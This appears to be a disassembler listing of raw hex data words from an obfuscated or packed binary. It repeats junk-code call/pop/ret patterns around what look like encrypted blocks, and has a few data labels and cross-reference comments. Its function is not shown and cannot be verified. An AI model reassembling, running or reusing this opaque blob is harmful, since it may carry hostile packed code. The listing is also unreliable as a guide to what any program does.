		dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9D8BE1C3h, 7E0226Dh,	13C9858Dh, 6A07E0h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0EA3096C3h
		dd 5C9807E8h, 16212FBBh, 0D7816645h, 8B90F99Bh,	13E950D9h
		dd 0B5000000h, 0C23F3836h, 8DD63F2Ch, 11B1553Eh, 2BBC37B7h
		dd 6A90E636h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0D177C355h, 9D897290h,	7E007F5h
		dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 9F8209C3h, 120C2CC9h, 898E38EFh, 0E02C519Dh
		dd 6A006A07h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 8269C357h, 8BD98B3Fh, 0E02D9D9Dh
		dd 0E2858D07h, 6A07E473h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 2CE5C353h, 0F3CA69E8h
		dd 83345E36h, 6A05C0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0BCC130C3h, 3195890Dh, 9007E026h
		dd 0EE957h, 7DB10000h, 0CE61F9D9h, 0F4DFA8BAh, 0DF8C1DB9h
		dd 8B0F505Fh, 8, 2810Fh, 5F510000h, 80BB6690h, 0DE8B503Ch
		dd 0E9006A5Fh, 10h, 0E2F6D930h,	0EA853F71h, 22E6A3EBh
		dd 74FD94Bh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 45B1E1C3h, 39814F83h, 0C88E36BFh
		dd 95BD8B48h, 6607E005h, 0FFBA0ABBh, 0E0344195h, 55BD0907h
		dd 8D07E01Bh, 0E3A3938Dh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8B66FD1Bh
		dd 0FE8B60D8h, 3481BD8Bh, 0FF6107E0h, 0B19D23D1h, 8307E010h
		dd 0E016B1BDh, 850F0107h, 46h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 83C35141h, 59D8B73h, 6A07E02Fh
		dd 0EBFF502h, 50033292h, 9F5B9FBFh, 2404890Ch, 6850Fh
		dd 9D0B0000h, 7E00DF9h,	2A9995FFh, 0C9E907E0h, 0E800000Ch
		dd 0
aBaSfJ		db ']íìsä',7,'j',0
		db 53h,	0E8h, 3
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0BE56C353h, 0F7EC083Fh, 9BD89F8h, 8D07E018h,	0E3946385h
		dd 10E907h, 0EB160000h,	0F856E10Fh, 263C05E8h, 65D40F38h
		dd 0DE9BF45h, 88000000h, 0C15E4D9Eh, 0B6FA8C22h, 1897F0A6h
		dd 0DA8B6650h, 0E9240489h, 0Dh,	42957138h, 5510F34Ch, 0F0807573h
		dd 64FA8BE1h, 35FFh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 413D18C3h, 89FB8B66h
		dd 0E01D9DBDh, 25896407h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 6DC35141h
		dd 85FFD140h, 7E020FDh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0DEC35545h, 1CC9BD33h, 7E907E0h, 38000000h
		dd 77DEAD7Bh, 0FF6A3372h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0D0C35747h, 1B41B5FFh, 6A07E0h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 0BB6681C3h, 95FFCB2Fh, 7E03389h, 119E9h, 0FD9D8B00h
		dd 0B007E007h, 2D852900h, 8907E031h, 0E01C059Dh, 6070E607h
		dd 14A5B58Bh, 5E907E0h,	0B4000000h, 0C41B24A1h,	81858961h
		dd 0E407E026h, 0F613C71h, 0E183h, 1FCF8100h, 0E958FFB4h
		dd 13h,	17BEFE2Eh, 99F6AEB9h, 9CF85A6Bh, 1EAC7286h, 0F2320BBh
		dd 6BAC8B6h, 89000000h,	0E008FDB5h, 81C18B07h, 7F3687D3h
		dd 33DFBB7Ch, 0E8C16BC1h, 0BD9D8B04h, 6607E026h, 9D89E2F7h
		dd 7E0312Dh, 0FE9C82Bh,	0B5000000h, 97EA394Ah, 9E5EC052h
		dd 0C9709ACBh, 0D18B0C8Fh, 0E9F88B66h, 6, 30398509h, 858B07E0h
		dd 7E0126Dh, 8337E380h,	0DE8B07C0h, 6000C083h, 2439BD8Bh
		dd 3B6107E0h, 17830FD0h, 0F000000h, 688h, 61BD0100h, 0E907E02Ah
		dd 3Eh,	7F59589h, 8D8B07E0h, 7E01359h, 5CE78166h, 1E18398h
		dd 24840Fh, 0A5830000h,	7E01359h, 0DD9D89FEh, 8907E02Eh
		dd 0E0126D95h, 0D58D0907h, 0F07E01Fh, 84h, 0E900h, 0B58D0000h
		dd 7E402ACh, 6AF98Bh, 0FA4783BFh, 0A995FF4Ah, 0F07E018h
		dd 0A1B9FFBFh, 6A000008h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0F9A6C353h,	565F9860h
		dd 6AFCE183h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 5408C352h, 0B9F04862h,	89562521h
		dd 0E01EBDBDh, 6AFC5B07h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 94BFC356h, 0B82AB7B2h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 2CC35646h
		dd 5CB1E640h, 0BAC015E6h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6DC35242h
		dd 0F6275E5h, 33ADFABFh, 3E8D1C2h, 4E983D0h, 9D8BF475h
		dd 7E0074Dh, 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0BE6B5D8Fh, 0F5F210FAh
		dd 0A99D895Ah, 8B07E031h, 0E0181595h, 0CAF38107h, 8B384B20h
		dd 0E020498Dh, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 7F151F15h, 6870Fh, 9D8B0000h
		dd 7E02199h, 8BC28B50h,	8BC10318h, 0D1C18B18h, 8BC203E8h
		dd 9D2B5818h, 7E02DB5h,	7E9h, 0D220C400h, 7278D211h, 12F5BD83h
		dd 0F0007E0h, 6484h, 0FBB70F00h, 0B8h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 68A80D53h, 3840Fh, 0BF0F0000h, 0E88D8DDEh, 8B07E04Eh
		dd 0E0153DBDh, 60E1FF07h, 75D9589h, 12E807E0h, 0E3000000h
		dd 7F8777D9h, 0CD08D6F0h, 0A21102C9h, 45C5C18Bh, 81858B5Fh
		dd 5907E015h, 0C5BD8361h, 7E022h, 3F7840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0C3790AC3h, 83F8F578h, 0E022C5BDh, 840F0107h, 3E4h
		dd 19EDBD89h, 0BD8307E0h, 7E022C5h, 9B860F03h, 6A000003h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 0F2B5C355h, 0FD9D89A8h, 6007E013h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0CCC35747h, 21C98D89h
		dd 8C6607E0h, 59BF66D9h, 4E180A3h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 60C35141h, 0A95C0202h, 0FC90A0Fh
		dd 14D84h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1C04h, 0C3504000h, 0CDADD806h, 2B4C1A1Ch, 81BD8B66h
		dd 0BB07E013h, 3BCB30D6h, 3399858Bh, 6A07E0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 5BD615C3h
		dd 51394387h, 8533F290h, 7E03189h, 2FE9B589h, 609007E0h
		dd 0F8B0Fh, 9E80000h, 0B8000000h, 3DBA858Fh, 0F024283Bh
		dd 6EB95059h, 5A310BA7h, 800F5061h, 0
		dd 55006A90h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 116E939Dh, 0F0106856h, 0D444BF66h, 3415BD8Bh
		dd 6A07E0h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Ch,	80C35141h, 1C89B723h, 82B89136h, 2AE18589h, 596807E0h
		dd 502ACB9Dh, 6B85BF52h, 310F7659h, 3481585Ah, 0D49EA624h
		dd 56006A2Ah, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0DFD34495h, 4DA9BA09h, 953194AFh, 7E01C0Dh
		dd 21CD95FFh, 0B70F07E0h, 0AD8589DEh, 0F07E3CBh, 680h
		dd 69BD8B00h, 0E907E01Ah, 167h,	2689D381h, 858B3A2Fh, 7E3CBA5h
		dd 68E0Fh, 9D8B0000h, 7E011B5h,	1800C7h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 68D494C3h, 8B516B8Eh, 0E3CBA9B5h, 0F9858B07h, 6A07E005h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0F02FC355h, 8BE4DAA6h, 0E015F59Dh, 9E5BB07h
		dd 6897133h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	51C35747h, 2E70A987h, 3399858Bh, 6A07E0h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0ECA8E1C3h, 60267497h, 0EE9600Fh, 84000000h,	0C64472EEh
		dd 0EE01EC72h, 91FD8765h, 17BB6635h, 0F88B6145h, 50044689h
		dd 10E8h, 0EBB41200h, 29B19D05h, 0F3674F39h, 679A75Dh
		dd 2EBB6647h, 34895BD0h, 59D78124h, 0FF33059Bh,	0E3CBA5B5h
		dd 918D0907h, 6807E01Fh, 24C98BF6h, 98B0Fh, 66600000h
		dd 662120B9h, 8161D08Bh, 88092434h, 0BD8924D6h,	7E00E15h
		dd 0CBAD858Dh, 8B6007E3h, 0E0191DBDh, 57906107h, 0BE9h
		dd 0F1DAD500h, 9313DEF1h, 8CCBD884h, 0CBBB505Fh, 905E495Fh
		dd 1FCD9D01h, 95FF07E0h, 7E021CDh, 61FFBF0Fh, 8D29CBB7h
		dd 7E02689h, 22C585C7h,	307E0h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 75B8AAC3h
		dd 979ED2C7h, 0D7EB81A6h, 566FEF20h, 16CD9D8Bh,	835F07E0h
		dd 0E3CBADBDh, 840F0007h, 22h, 13E8h, 3B854600h, 6DB04D10h
		dd 0BDCEBA1Ch, 96FC7B39h, 2EE9B2D4h, 1EE95FF8h,	66000000h
		dd 3050FB8Bh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 56006AAAh, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0DADFCE2Ch, 665746F3h
		dd 5FB5E5BFh, 22C5BD83h, 0F0307E0h, 39085h, 3850F00h, 0F000000h
		dd 0CE9DFBFh, 16000000h, 0C55B7CEFh, 0FF8EB447h, 8369908Eh
		dd 0E3CBADBDh, 840F0007h, 369h,	90DBD8Bh, 0BD8907E0h, 7E03039h
		dd 0CBADB5FFh, 6A07E3h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 7175EAC3h, 5D79DCA8h, 6810F25h
		dd 89000000h, 0E00F358Dh, 8B665107h, 95FF5BD8h,	7E01DA9h
		dd 6830Fh, 85890000h, 7E02939h,	8890Fh,	0F500000h, 86h
		dd 0B58B5B00h, 7E3CBA1h, 68C0Fh, 9D8B0000h, 7E00201h, 106C7h
		dd 0DE8B0001h, 8A0F5150h, 2, 895F5B57h,	85892434h, 7E00561h
		dd 0CBADB5FFh, 6A07E3h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 4E175DC3h, 0FFA11561h, 0E0301195h
		dd 0F8A0F07h, 0E9000000h, 0Ah, 2BD531D0h, 0A49A1749h, 0BD8BF615h
		dd 7E018C9h, 0CBA1B58Bh, 6A07E3h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0D69E83C3h, 81666ADEh
		dd 8BEBF8C7h, 0E022D185h, 0DE907h, 96490000h, 4D1CAEBFh
		dd 0AC67E284h, 89938D3Dh, 0C486h, 0DABF0F00h, 1815958Bh
		dd 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 832E6BC3h, 0BD2904C2h, 7E01FB5h, 66205089h
		dd 858DFB8Bh, 7E3E0D4h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0DAC35141h, 0B8868993h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 5DAFC352h, 0DBBF0FCBh, 4B1240BFh, 8B006A56h,	0E00135BDh
		dd 0ADB5FF07h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 0E42DC352h,	74C43629h
		dd 85893E7Dh, 7E006A9h,	2A9995FFh, 6A07E0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 8D9EAC3h
		dd 0F6096F6h, 389h, 0CB8B6600h,	5061C28Bh, 58D0F96h, 60000000h
		dd 61F82DB0h, 0CBADB5FFh, 95FF07E3h, 7E028E9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0CCC35040h, 8D895497h
		dd 7E02179h, 28E1BD83h,	0F0007E0h, 5D84h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
		dd 5DE860E9h, 6970FA1Eh, 0C99D8B22h, 5007E017h,	0D147BB66h
		dd 6A243489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 4C2EC351h, 0BF42139Fh,	13188A16h
		dd 127D9589h, 0B5FF07E0h, 7E3CBADh, 119D8B60h, 6607E023h
		dd 6186DCBBh, 303595FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0C5085EC3h, 0B5FFCBD6h
		dd 7E3CBADh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	55C35646h, 78194710h, 0BB3D3AE3h, 0C9BD2359h, 0FF07E023h
		dd 0E001B995h, 880F5207h, 6, 2F05BD8Bh,	835B07E0h, 0E00731BDh
		dd 840F0207h, 15h, 0A2CF8156h, 5F056909h, 2039858Bh, 0C607E0h
		dd 0B1BF6600h, 3D85C7B1h, 7E004h, 81000000h, 7DFC89D3h
		dd 0F488E907h, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 6F139AC3h, 0EB8166F9h, 0C18B3775h
		dd 11E860h, 0E9310000h,	1A7075E3h, 7BD445B8h, 3A2B10C9h
		dd 31835835h, 0E0050185h, 8D8B5B07h, 7E0057Dh, 0A7C78061h
		dd 13C9858Dh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 4A71A7C3h, 0F0C809DDh, 501E7039h
		dd 8E860h, 0B6F20000h, 0CA05462Eh, 8B0F3F27h, 0
		dd 489615Fh, 0BF665024h, 6A5BEF97h, 0EFBFF500h,	6A2DE4F5h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0C1712CBCh, 0B7A9A173h, 20858DD5h, 6A07E483h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 91C9C355h, 999D8BE9h, 8307E008h, 6A05C0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 910119C3h, 3D7FEAD1h, 0A0E28160h, 0E8090E93h, 0Fh, 8FAF0E62h
		dd 0E71EC012h, 4286EC89h, 0E910B81Fh, 10h, 0C3869FD9h
		dd 6AE5C09Fh, 0E081047Ch, 24A622E3h, 8BF5615Bh,	0E00739BDh
		dd 8A605007h, 48961D8h,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 669B74FAh, 6AAE4ABFh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 15D5E389h, 0C57E557Dh, 68B0F0Ch,	29000000h
		dd 0E0169D85h, 0BF0F6007h, 8E8D7h, 37670000h, 9718CA6Ch
		dd 0B5030C70h, 7E010D9h, 6A615Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0E9C35242h,	7670C19Ch, 699ECC35h
		dd 17FBDFBFh, 4195FF7Ah, 6A07E034h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 1B14C352h
		dd 2A2DE1D4h, 8BB67F1Dh, 938D8DF8h, 6A07E3A3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0D14EC353h, 68F0Fh, 0C7810000h, 2C061DD3h, 8E8D1FFh
		dd 0CD000000h, 5297592h, 5B9C0363h, 16B1BD83h, 0F0107E0h
		dd 5785h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 642E449Ah, 0BF0FE346h, 29026ADAh
		dd 0E02B75BDh, 8B665007h, 240489D9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 8CC35343h, 95FF1CB7h, 7E02A99h
		dd 0D91E9h, 0E800h, 815D0000h, 0E4832AEDh, 19D2307h, 0F07E01Bh
		dd 85h,	858DFC00h, 7E39463h, 0E890F98Bh, 5, 0A5BA5D6Ch
		dd 665250F4h, 310FD88Bh, 505F585Ah, 12E8h, 0F9EB5800h
		dd 9D1E36B3h, 0F52A359Ch, 0DCCC5382h, 564B967Dh, 7FCDBF66h
		dd 6A905F5Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 5F2DC352h, 0B19D8B15h,	6407E013h
		dd 35FFh, 81660000h, 64462BE3h,	2589h, 81660000h, 0FFB194EBh
		dd 0E020FD85h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0FB840491h, 95FE47CFh
		dd 0DE8B6619h, 6AFF6Ah,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 10E73FC3h, 53C2A459h, 0F5B5FF0Ch
		dd 6A07E01Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 7130C352h, 0C53D341Dh,	880F0AC9h
		dd 13h,	7E8h, 458DE700h, 0A12D6E57h, 1A35BD8Bh,	0FF5B07E0h
		dd 0E0338995h, 127E907h, 13E90000h, 29000000h, 0EF108D68h
		dd 2FC19596h, 46F5B6EBh, 2C1D1952h, 0C781FE00h,	3B58BAEDh
		dd 0E6F900B0h, 71BD0370h, 0E407E020h, 37E38171h, 3C657768h
		dd 0EE830F61h, 66000000h, 5EC5EF81h, 189DBD8Bh,	0B60F07E0h
		dd 6BAC8h, 9D890000h, 7E016D9h,	0BB66C18Bh, 0E8C18FABh
		dd 0AE904h, 67BF0000h, 0D912563h, 200000Eh, 89E2F766h
		dd 0E01C9195h, 8BC82B07h, 0E0210D9Dh, 60D18B07h, 821B533h
		dd 0B70F07E0h, 8D8961DEh, 7E010EDh, 6E9h, 11B58900h, 8B07E016h
		dd 0E033A585h, 7C08307h, 6810Fh, 85890000h, 7E0242Dh, 0E800C083h
		dd 6, 2A1D376Eh, 858957ADh, 7E01A01h, 1A18BB5Fh, 0D03B4E66h
		dd 12830Fh, 66570000h, 7579DB81h, 4BE95Fh, 0BD8B0000h
		dd 7E0004Dh, 0E18D8Bh, 858907E0h, 7E025DDh, 0F01E183h
		dd 3084h, 0EDBD8900h, 8907E008h, 0E01D9DB5h, 0E1A58307h
		dd 0FE07E000h, 9B4BBF66h, 33A59589h, 810F07E0h,	2, 8D8911B7h
		dd 7E02631h, 0E9h, 0EDB58D00h, 6A07E40Ch, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0DCFEC353h
		dd 66853077h, 6A1DEDBBh, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 9E50A51Eh, 0F98B6605h
		dd 7699D89h, 95FF07E0h,	7E018A9h, 7059D8Bh, 0A1B907E0h
		dd 6A000008h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0D343C351h, 66E0DE2Ch,	8B5388E3h
		dd 0E013959Dh, 0E1835F07h, 52006AFCh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 976CD27Dh
		dd 721971F4h, 6AFC55h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0B884C3h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0DB54C355h
		dd 2AB9BD89h, 52BB07E0h, 0BA335AE4h, 0
		dd 0ADFA8B66h, 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 72CBC353h, 0CDB45C3Fh, 33EEF6BDh, 0E031B9BDh, 0CE907h
		dd 6BC50000h, 6F160786h, 0EBB7A50Fh, 9D8BD75Eh,	7E02945h
		dd 6820Fh, 0BD330000h, 7E02945h, 880Dh,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 3334212h, 86EAEE2Ch,	22E99D8Bh, 958B07E0h, 7E01815h
		dd 8400BF66h, 8E0Fh, 8D8B0000h,	7E02049h, 20A9BD8Bh, 8B5007E0h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 6A8DE380h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0BB9FC353h, 4BCA51F3h, 89FC85C1h,	0E02E85B5h
		dd 0F5BD8307h, 7E012h, 67840Fh,	95310000h, 7E001F5h, 0D98D8960h
		dd 0F07E016h, 0B861CAB7h, 0
		dd 1435B589h, 8D8D07E0h, 7E04EE8h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0F1C35040h,	6AE1FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0C470DC3h, 8BC87A5Fh, 0FC6AC2BFh, 0C5BD835Eh, 7E022h
		dd 433840Fh, 0BD830000h, 7E022C5h, 41840F01h, 6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0D187C356h, 0F15DED00h, 83F9B70Fh, 0E022C5BDh
		dd 860F0307h, 3DAh, 255D9D23h, 816607E0h, 60DA33DFh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 4AC35040h, 8531E1D8h
		dd 7E00571h, 0F398D29h,	8C6607E0h, 52006AD9h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 22EB0BDBh
		dd 0E180511Eh, 57006A04h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 1FC4EF6Eh, 13E8B28Ah
		dd 0A2000000h, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h
		dd 0B5899D17h, 7E00829h, 0FC90A5Fh, 11184h, 0C9BD0300h
		dd 8B07E030h, 0E0339985h, 850F07h, 33000000h, 0E0318985h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 8B66902Ah, 536050DEh, 0B85A6160h, 5863C87Fh
		dd 8E89061h, 3E000000h,	30D6E853h, 667771AAh, 8B5FFE8Bh
		dd 0E028B9BDh, 0E8006A07h, 4, 1F03FFh, 7CA32DBBh, 7E95042h
		dd 0ED000000h, 0A2A05237h, 448BA0C4h, 0BB660424h, 8BC16Bh
		dd 10E952h, 51B70000h, 8D437B26h, 2146C2C9h, 50F5F0B4h
		dd 895B638Eh, 0F042444h, 80h, 6A5800h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 2CEBFDC3h
		dd 64CA30B6h, 0F8BF0F62h, 21CD95FFh, 6A07E0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0B11ADBC3h
		dd 85CCCA28h, 0CBAD8589h, 816607E3h, 0E97446EBh, 18Fh
		dd 9E9h, 224C8300h, 20C07429h, 858BB8FEh, 7E3CBA5h, 1800C7FCh
		dd 8B000000h, 0E01069BDh, 0A9B58B07h, 8107E3CBh, 71FFFBCFh
		dd 0F9858B58h, 6A07E005h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 309DC352h, 0C98589EBh
		dd 8907E023h, 699D8B06h, 307E01Ah, 0E031259Dh, 99858B07h
		dd 0F07E033h, 4689D8BFh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 5ED7D756h, 0D9BD8B6Bh
		dd 5007E004h, 25BFBF66h, 31243489h, 0E0169D8Dh,	0A5B5FF07h
		dd 6007E3CBh, 0FDEB70Fh, 0E861C2BFh, 4,	1F03FFh, 5E8h
		dd 70374B00h, 9E92D6Ch,	95000000h, 2337C447h, 6B17901Ch
dword_595250	dd 0CDBF505Fh		; DATA XREF: ___:00444AC0o
		db 4Fh
byte_595255	db 16h,	13h, 8Bh	; DATA XREF: ___:00444A94o
		dd 50042444h, 0DF8B6652h, 8E0F310Fh, 6,	310F5250h, 585A585Ah
		dd 0BE8008Bh, 0DE000000h, 0D27E58BAh, 0D374322Fh, 0B560768Fh
		dd 895B6136h, 0E8042444h, 0Dh, 595365B2h, 59694915h, 37C14D53h
		dd 48E0F96h, 66000000h,	5FC1D1BFh, 0BDBD2358h, 8D07E005h
		dd 0E3CBAD85h, 7860F07h, 0F000000h, 18Fh, 5050F800h, 60525052h
		dd 0B7310F61h, 0F585AEDh, 6E95331h, 14000000h, 0B5E88862h
		dd 585A5BD0h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 2BF8C357h, 0D78094E2h
		dd 0CD95FF12h, 6107E021h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 3CC35747h, 11E9367Dh,	0A1000000h, 2F5AACCh
		dd 0F787BF85h, 0FAFD6642h, 0F22DF9DDh, 22C585C7h
		db 0E0h
byte_595345	db 7, 3, 0		; DATA XREF: ___:00444A8Co
					; ___:00444D74o
		dd 0CBBF0000h, 8316FE51h, 0E3CBADBDh, 840F0007h, 52h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 82C35545h, 0EE4D2EDFh
		dd 152DDA59h, 21BD8BC5h, 0E907E000h, 3Dh, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ah, 3C35040h, 0B1998C57h
		dd 3050536Dh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 0DC8A5D43h, 22C5BD83h, 0F0307E0h
		dd 3DC85h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1B04h, 0C3504000h, 93C61745h, 0BFD99B29h, 3015BD89h
		dd 0BD8307E0h, 7E3CBADh, 0A6840F00h, 53000003h,	0B5FF5FF8h
		dd 7E3CBADh, 2ACD9D8Bh,	95FF07E0h, 7E01DA9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0DFC35646h, 0A1B58B59h
		dd 8B07E3CBh, 0E0344D9Dh, 106C707h, 81000100h, 0F782E7D3h
		dd 8E99669h, 9E000000h,	153BA8A6h, 506274C3h, 8018BB66h
		dd 12E896h, 3B580000h, 0EFFC4265h, 2D5A2E42h, 8C739695h
		dd 0CEBE5755h, 6B5BD8Bh, 0FF5B07E0h, 0E3CBADB5h, 0CB97BF07h
